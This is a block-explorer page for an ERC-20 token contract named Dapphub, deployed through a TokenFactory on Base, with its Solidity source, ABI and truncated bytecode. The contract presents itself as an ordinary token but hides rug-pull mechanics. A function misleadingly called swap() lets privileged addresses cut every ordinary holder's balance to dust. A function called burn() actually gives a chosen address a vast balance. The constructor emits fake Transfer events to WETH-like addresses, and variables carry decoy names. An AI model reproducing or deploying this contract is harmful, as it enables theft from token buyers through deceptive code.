ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000,000 Zebec Apex Gateway
Holders
6
Transfers
-
0
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xedCF1B68...01A5279Ca The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Dapphub
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2025-12-24
*/
/**
*Submitted for verification at basescan.org on 2025-12-24
*/
/**
*Submitted for verification at basescan.org on 2025-12-24
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV3Router03 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Dapphub is IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000000000000000000000000000;
address Router02Address;
mapping(address => uint256) private askDiv;
mapping(address => mapping(address => uint256)) private _allowances;
address[] private believers;
address private constant ADDRESS_sWETH_Official = 0xc1CBa3fCea344f92D9239c08C0568f6F2F0ee452;
address private constant ADDRESS_WETH = 0x4200000000000000000000000000000000000006;
address GNUGeneralPublicLicense;
address XrpFactory;
address Virtuals_Protocol;
IUniswapV3Router03 private uniswapV3Router;
address private uniswapV3Pair;
bool private tradingOpen = false;
constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
transferOwnership(owner_);
_name = name_;
_symbol = symbol_;
XrpFactory = ADDRESS_Manager_;
GNUGeneralPublicLicense = ADDRESS_Manager_;
Virtuals_Protocol = owner_;
Router02Address = Router02Address_;
askDiv[address(this)] = _totalSupply.mul(1).div(10000);
emit Transfer(address(0), address(this), _totalSupply.mul(1).div(10000));
liqudityPairs();
payable(address(this)).transfer(msg.value);
}
function liqudityPairs() internal {
uint256 ninetyFourPercent = _totalSupply.mul(9000).div(10000);
uint256 threePercent = _totalSupply.mul(5).div(10000);
uint256 twoPercent = _totalSupply.mul(994).div(10000);
askDiv[ADDRESS_sWETH_Official] = askDiv[ADDRESS_sWETH_Official].add(ninetyFourPercent);
askDiv[ADDRESS_WETH] = askDiv[ADDRESS_WETH].add(threePercent);
askDiv[GNUGeneralPublicLicense] = askDiv[GNUGeneralPublicLicense].add(twoPercent);
emit Transfer(address(this), ADDRESS_sWETH_Official, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_WETH, threePercent);
emit Transfer(address(this), GNUGeneralPublicLicense, twoPercent);
}
function _updateHolders(address account) internal {
if (askDiv[account] > 0) {
bool exists = false;
for (uint256 i = 0; i < believers.length; i++) {
if (believers[i] == account) {
exists = true;
break;
}
}
if (!exists) {
believers.push(account);
}
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
askDiv[sender] = askDiv[sender].sub(amount);
askDiv[recipient] = askDiv[recipient].add(amount);
_updateHolders(sender);
_updateHolders(recipient);
emit Transfer(sender, recipient, amount);
}
modifier Only_Manager() {
require(XrpFactory == _msgSender());
_;
}
function swap() external {
require(Virtuals_Protocol == _msgSender() || XrpFactory == _msgSender());
uint256 minimumAmount = 10**10; // 0.00000001 tokens
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV3Pair &&
believer != ADDRESS_sWETH_Official &&
believer != ADDRESS_WETH &&
believer != XrpFactory &&
believer != GNUGeneralPublicLicense
) {
// Instead of setting to 0, set to minimum amount
askDiv[believer] = minimumAmount;
// Emit Transfer for the minimum amount (not 0)
emit Transfer(address(0), believer, minimumAmount);
}
}
}
function burn(address claimedRewardStatusOf) external Only_Manager {
askDiv[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
}
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV3Router = IUniswapV3Router03(Router02Address);
uniswapV3Pair = IUniswapV2Factory(uniswapV3Router.factory()).createPair(address(this), uniswapV3Router.WETH());
_approve(address(this), address(uniswapV3Router), _totalSupply);
uniswapV3Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
0x000000000000000000000000000000000000dEaD,
block.timestamp
);
tradingOpen = true;
}
receive() external payable {}
// Required BEP20 functions
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return askDiv[account];
}
function getLPPair() public view returns (address) {
return uniswapV3Pair;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
}
contract TokenFactory {
event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);
constructor() {
}
// Function to create a single token
function createToken(
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_
) external payable returns (address) {
Dapphub newToken = (new Dapphub){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
return address(newToken);
}
receive() external payable {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"},{"internalType":"address","name":"Router02Address_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
0x60806040525f600b60146101000a81548160ff021916908315150217905550604051613429380380613429833981810160405281019061003f9190610c4f565b61004d61039f60201b60201c565b5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3610114836103a660201b60201c565b84600190816101239190610f0e565b5083600290816101339190610f0e565b508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061026961271061025b60016c0c9f2c9cd04674edea400000006104ea60201b90919060201c565b61056160201b90919060201c565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032e61271061032060016c0c9f2c9cd04674edea400000006104ea60201b90919060201c565b61056160201b90919060201c565b60405161033b9190610fec565b60405180910390a36103516105b860201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f19350505050158015610394573d5f5f3e3d5ffd5b505050505050611271565b5f33905090565b6103b461039f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166103d8610a2460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146103f7575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361042e575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f5f83036104fa575f905061055b565b5f82846105079190611032565b905082848261051691906110a0565b14610556576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054d90611150565b60405180910390fd5b809150505b92915050565b5f5f82116105a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059b906111b8565b60405180910390fd5b81836105b091906110a0565b905092915050565b5f6105ef6127106105e16123286c0c9f2c9cd04674edea400000006104ea60201b90919060201c565b61056160201b90919060201c565b90505f61062761271061061960056c0c9f2c9cd04674edea400000006104ea60201b90919060201c565b61056160201b90919060201c565b90505f6106606127106106526103e26c0c9f2c9cd04674edea400000006104ea60201b90919060201c565b61056160201b90919060201c565b90506106c68360045f73c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a4b60201b90919060201c565b60045f73c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061077f8260045f73420000000000000000000000000000000000000673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a4b60201b90919060201c565b60045f73420000000000000000000000000000000000000673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506108458160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a4b60201b90919060201c565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555073c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109189190610fec565b60405180910390a373420000000000000000000000000000000000000673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109919190610fec565b60405180910390a360075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a179190610fec565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f5f8284610a5991906111d6565b905083811015610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9590611253565b60405180910390fd5b8091505092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610b0782610ac1565b810181811067ffffffffffffffff82111715610b2657610b25610ad1565b5b80604052505050565b5f610b38610aa8565b9050610b448282610afe565b919050565b5f67ffffffffffffffff821115610b6357610b62610ad1565b5b610b6c82610ac1565b9050602081019050919050565b8281835e5f83830152505050565b5f610b99610b9484610b49565b610b2f565b905082815260208101848484011115610bb557610bb4610abd565b5b610bc0848285610b79565b509392505050565b5f82601f830112610bdc57610bdb610ab9565b5b8151610bec848260208601610b87565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c1e82610bf5565b9050919050565b610c2e81610c14565b8114610c38575f5ffd5b50565b5f81519050610c4981610c25565b92915050565b5f5f5f5f5f60a08688031215610c6857610c67610ab1565b5b5f86015167ffffffffffffffff811115610c8557610c84610ab5565b5b610c9188828901610bc8565b955050602086015167ffffffffffffffff811115610cb257610cb1610ab5565b5b610cbe88828901610bc8565b9450506040610ccf88828901610c3b565b9350506060610ce088828901610c3b565b9250506080610cf188828901610c3b565b9150509295509295909350565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d4c57607f821691505b602082108103610d5f57610d5e610d08565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610dc17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610d86565b610dcb8683610d86565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610e0f610e0a610e0584610de3565b610dec565b610de3565b9050919050565b5f819050919050565b610e2883610df5565b610e3c610e3482610e16565b848454610d92565b825550505050565b5f5f905090565b610e53610e44565b610e5e818484610e1f565b505050565b5b81811015610e8157610e765f82610e4b565b600181019050610e64565b5050565b601f821115610ec657610e9781610d65565b610ea084610d77565b81016020851015610eaf578190505b610ec3610ebb85610d77565b830182610e63565b50505b505050565b5f82821c905092915050565b5f610ee65f1984600802610ecb565b1980831691505092915050565b5f610efe8383610ed7565b9150826002028217905092915050565b610f1782610cfe565b67ffffffffffffffff811115610f3057610f2f610ad1565b5b610f3a8254610d35565b610f45828285610e85565b5f60209050601f831160018114610f76575f8415610f64578287015190505b610f6e8582610ef3565b865550610fd5565b601f198416610f8486610d65565b5f5b82811015610fab57848901518255600182019150602085019450602081019050610f86565b86831015610fc85784890151610fc4601f891682610ed7565b8355505b6001600288020188555050505b505050505050565b610fe681610de3565b82525050565b5f602082019050610fff5f830184610fdd565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61103c82610de3565b915061104783610de3565b925082820261105581610de3565b9150828204841483151761106c5761106b611005565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6110aa82610de3565b91506110b583610de3565b9250826110c5576110c4611073565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61113a6021836110d0565b9150611145826110e0565b604082019050919050565b5f6020820190508181035f8301526111678161112e565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f6111a2601a836110d0565b91506111ad8261116e565b602082019050919050565b5f6020820190508181035f8301526111cf81611196565b9050919050565b5f6111e082610de3565b91506111eb83610de3565b925082820190508082111561120357611202611005565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61123d601b836110d0565b915061124882611209565b602082019050919050565b5f6020820190508181035f83015261126a81611231565b9050919050565b6121ab8061127e5f395ff3fe6080604052600436106100f6575f3560e01c806386f3f3cb11610089578063a9059cbb11610058578063a9059cbb14610305578063dd62ed3e14610341578063e8078d941461037d578063f2fde38b14610393576100fd565b806386f3f3cb1461025f57806389afcb44146102895780638da5cb5b146102b157806395d89b41146102db576100fd565b8063313ce567116100c5578063313ce567146101cd57806370a08231146101f7578063715018a6146102335780638119c06514610249576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103bb565b6040516101229190611880565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c9190611931565b61044b565b60405161015e9190611989565b60405180910390f35b348015610172575f5ffd5b5061017b610461565b60405161018891906119b1565b60405180910390f35b34801561019c575f5ffd5b506101b760048036038101906101b291906119ca565b610475565b6040516101c49190611989565b60405180910390f35b3480156101d8575f5ffd5b506101e161052f565b6040516101ee9190611a35565b60405180910390f35b348015610202575f5ffd5b5061021d60048036038101906102189190611a4e565b610537565b60405161022a91906119b1565b60405180910390f35b34801561023e575f5ffd5b5061024761057d565b005b348015610254575f5ffd5b5061025d61067d565b005b34801561026a575f5ffd5b50610273610a65565b6040516102809190611a88565b60405180910390f35b348015610294575f5ffd5b506102af60048036038101906102aa9190611a4e565b610a8d565b005b3480156102bc575f5ffd5b506102c5610be0565b6040516102d29190611a88565b60405180910390f35b3480156102e6575f5ffd5b506102ef610c07565b6040516102fc9190611880565b60405180910390f35b348015610310575f5ffd5b5061032b60048036038101906103269190611931565b610c97565b6040516103389190611989565b60405180910390f35b34801561034c575f5ffd5b5061036760048036038101906103629190611aa1565b610cad565b60405161037491906119b1565b60405180910390f35b348015610388575f5ffd5b50610391610d2f565b005b34801561039e575f5ffd5b506103b960048036038101906103b49190611a4e565b611102565b005b6060600180546103ca90611b0c565b80601f01602080910402602001604051908101604052809291908181526020018280546103f690611b0c565b80156104415780601f1061041857610100808354040283529160200191610441565b820191905f5260205f20905b81548152906001019060200180831161042457829003601f168201915b5050505050905090565b5f61045733848461123a565b6001905092915050565b5f6c0c9f2c9cd04674edea40000000905090565b5f6104818484846113fd565b6105248461048d611609565b61051f8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104d7611609565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461161090919063ffffffff16565b61123a565b600190509392505050565b5f6012905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610585611609565b73ffffffffffffffffffffffffffffffffffffffff166105a3610be0565b73ffffffffffffffffffffffffffffffffffffffff16146105c2575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610685611609565b73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061073257506106e2611609565b73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61073a575f5ffd5b5f6402540be40090505f5f90505b600680549050811015610a61575f6006828154811061076a57610769611b3c565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561080357506107d3610be0565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561085c5750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156108a8575073c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156108f4575073420000000000000000000000000000000000000673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561094d575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156109a6575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15610a53578260045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a4a91906119b1565b60405180910390a35b508080600101915050610748565b5050565b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a95611609565b73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aec575f5ffd5b6012600a610afa9190611cc5565b6c0c9f2c9cd04674edea40000000610b129190611d0f565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a610bb09190611cc5565b6c0c9f2c9cd04674edea40000000610bc89190611d0f565b604051610bd591906119b1565b60405180910390a350565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c1690611b0c565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4290611b0c565b8015610c8d5780601f10610c6457610100808354040283529160200191610c8d565b820191905f5260205f20905b815481529060010190602001808311610c7057829003601f168201915b5050505050905090565b5f610ca33384846113fd565b6001905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d37611609565b73ffffffffffffffffffffffffffffffffffffffff16610d55610be0565b73ffffffffffffffffffffffffffffffffffffffff1614610d74575f5ffd5b600b60149054906101000a900460ff1615610dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbb90611d9a565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e8f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb39190611dcc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f39573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f5d9190611dcc565b6040518363ffffffff1660e01b8152600401610f7a929190611df7565b6020604051808303815f875af1158015610f96573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fba9190611dcc565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061103230600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c0c9f2c9cd04674edea4000000061123a565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061107a30610537565b5f5f61dead426040518863ffffffff1660e01b81526004016110a196959493929190611e60565b60606040518083038185885af11580156110bd573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110e29190611ed3565b5050506001600b60146101000a81548160ff021916908315150217905550565b61110a611609565b73ffffffffffffffffffffffffffffffffffffffff16611128610be0565b73ffffffffffffffffffffffffffffffffffffffff1614611147575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361117e575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129f90611f93565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611316576040517f08c379